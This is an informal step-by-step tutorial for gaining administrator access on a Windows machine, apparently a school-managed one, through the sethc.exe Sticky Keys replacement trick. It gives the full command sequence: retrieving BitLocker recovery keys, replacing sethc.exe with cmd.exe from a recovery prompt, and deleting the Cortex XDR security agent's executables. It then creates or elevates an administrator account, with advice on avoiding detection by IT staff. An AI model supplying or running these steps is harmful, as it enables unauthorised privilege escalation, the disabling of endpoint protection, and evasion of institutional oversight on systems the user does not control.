ADMIN ACCESS

This tutorial will shopw you how to login to an admin account via the sethc.exe method.

STEP 1: go to accounts.microsoft.com.

STEP 2: click Devices.

STEP 3: click your computer name and then "View Bitlocker Keys".

STEP 4: A list of windows will pop up. Click "Show Recovery Key".

5. A 48-digit number will appear. Write the code down on paper or on a seperate device.

6. REPEAT THIS FOR EACH KEY. MAKE SURE TO NOTE DOWN THE KEY ID

7. Now it is time for the specifics so LISTEN VERY CAREFULLY. search for "Recovery options" and click Advanced Startup.

8. After rebooting you will be met with a blue screen. Click "Troubleshoot" and then "Advanced Options"

9. Click "Command Prompt". When you reboot you will be met with this screen:

10. Note down the code from the key id and compare it to the key IDs you noted down earlier. Use it to find the key to use and enter it into the box. Then hit "Continue" and you should be in a Command Prompt window!

Enter these commands:

• C:
• cd C:\Windows\System32
• copy sethc.exe C:\
• copy cmd sethc.exe

NOTE: IF YOU HAVE CORTEX XDR INSTALLED IT WILL NOT WORK. IF YOU HAVE IT INSTALLED ENTER THESE COMMANDS AS WELL:

• cd C:\Program Files\Palo Alto Networks\Traps
• copy cyreport.exe C:\
• del cyreport.exe
• copy cyrprtui.exe C:\
• del cyrprtui.exe
• copy cyserver.exe C:\
• del cyserver.exe
• copy cytray.exe C:\
• del cytray.exe

You may now close the window. This will restart your computer. Upon turning your computer back on press SHIFT five times. Do not log in - instead do this on the login screen. Normally this would open the Sticky Keys menu, but...

You now have an Administrator Command Prompt! You have two options now.

Option 1

• net user [Enter a username here - you choose whatever you want! e.g. "admin"] [Password of your choice. Don't forget!]
  This will create a NEW user.
• net localgroup Administrators [The username you chose before!] /add
  This makes that new user an Administrator!

Option 2

• net localgroup Administrators [Your own username!] /add
  This makes YOU an Administrator! The reason this isn't as reccomended is that if you're on a school computer it can be detected by IT that you have access.

Congrats! you now have admin access.